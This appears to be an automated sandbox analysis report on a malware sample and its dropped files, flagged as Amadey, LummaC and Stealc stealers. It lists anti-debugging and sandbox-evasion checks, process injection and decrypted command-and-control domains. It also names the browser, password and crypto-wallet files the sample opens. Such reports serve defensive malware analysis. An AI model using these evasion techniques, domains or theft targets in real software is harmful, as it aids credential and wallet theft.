Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: 14dd9bf3c4.exe, 0000000C.00000003.2183826912.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YhGfsBri
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003456000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NVMware2
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev;i
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: vVJvxAfBDM.exe, 00000000.00000003.1625246552.0000000006782000.00000004.00000800.00020000.00000000.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000000.1625891735.000000000065D000.00000080.00000001.01000000.00000006.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Binary or memory string: q\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1691888323.000000000065D000.00000040.00000001.01000000.00000006.sdmp, KXEO11ILDTYX6ZOG0B.exe, 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003451000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: 14dd9bf3c4.exe, 0000000C.00000003.2131268012.0000000003456000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

Code function: 0_3_014EAF87 rdtsc

0_3_014EAF87

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_0070652B mov eax, dword ptr fs:[00000030h]	5_2_0070652B
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_0070A302 mov eax, dword ptr fs:[00000030h]	5_2_0070A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007DA302 mov eax, dword ptr fs:[00000030h]	6_2_007DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007D652B mov eax, dword ptr fs:[00000030h]	6_2_007D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007DA302 mov eax, dword ptr fs:[00000030h]	7_2_007DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007D652B mov eax, dword ptr fs:[00000030h]	7_2_007D652B

Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe PID: 7996, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Memory written: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: vVJvxAfBDM.exe, 00000000.00000003.1313041261.0000000005300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: 14dd9bf3c4.exe, 0000000A.00000002.2059262606.000000000228F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: mProgram Manager
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1692122997.00000000006A3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_007BDD91 cpuid

7_2_007BDD91

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

Code function: 5_2_006ECBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_006ECBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_007E2517 GetTimeZoneInformation,

7_2_007E2517

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: vVJvxAfBDM.exe, vVJvxAfBDM.exe, 00000000.00000003.1625095140.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1477417194.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: vVJvxAfBDM.exe, 00000000.00000003.1460030860.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1501566310.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1477702526.0000000001495000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1459978791.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1459739003.000000000148A000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000002.2552148901.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209047288.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.KXEO11ILDTYX6ZOG0B.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: vVJvxAfBDM.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 14dd9bf3c4.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1691504958.0000000000281000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vVJvxAfBDM.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: vVJvxAfBDM.exe	String found in binary or memory: Wallets/ElectronCash
Source: vVJvxAfBDM.exe	String found in binary or memory: Jaxx Liberty
Source: vVJvxAfBDM.exe	String found in binary or memory: window-state.json
Source: vVJvxAfBDM.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vVJvxAfBDM.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vVJvxAfBDM.exe	String found in binary or memory: %appdata%\Ethereum
Source: vVJvxAfBDM.exe, 00000000.00000003.1459978791.00000000014D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: vVJvxAfBDM.exe, 00000000.00000003.1459978791.00000000014D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
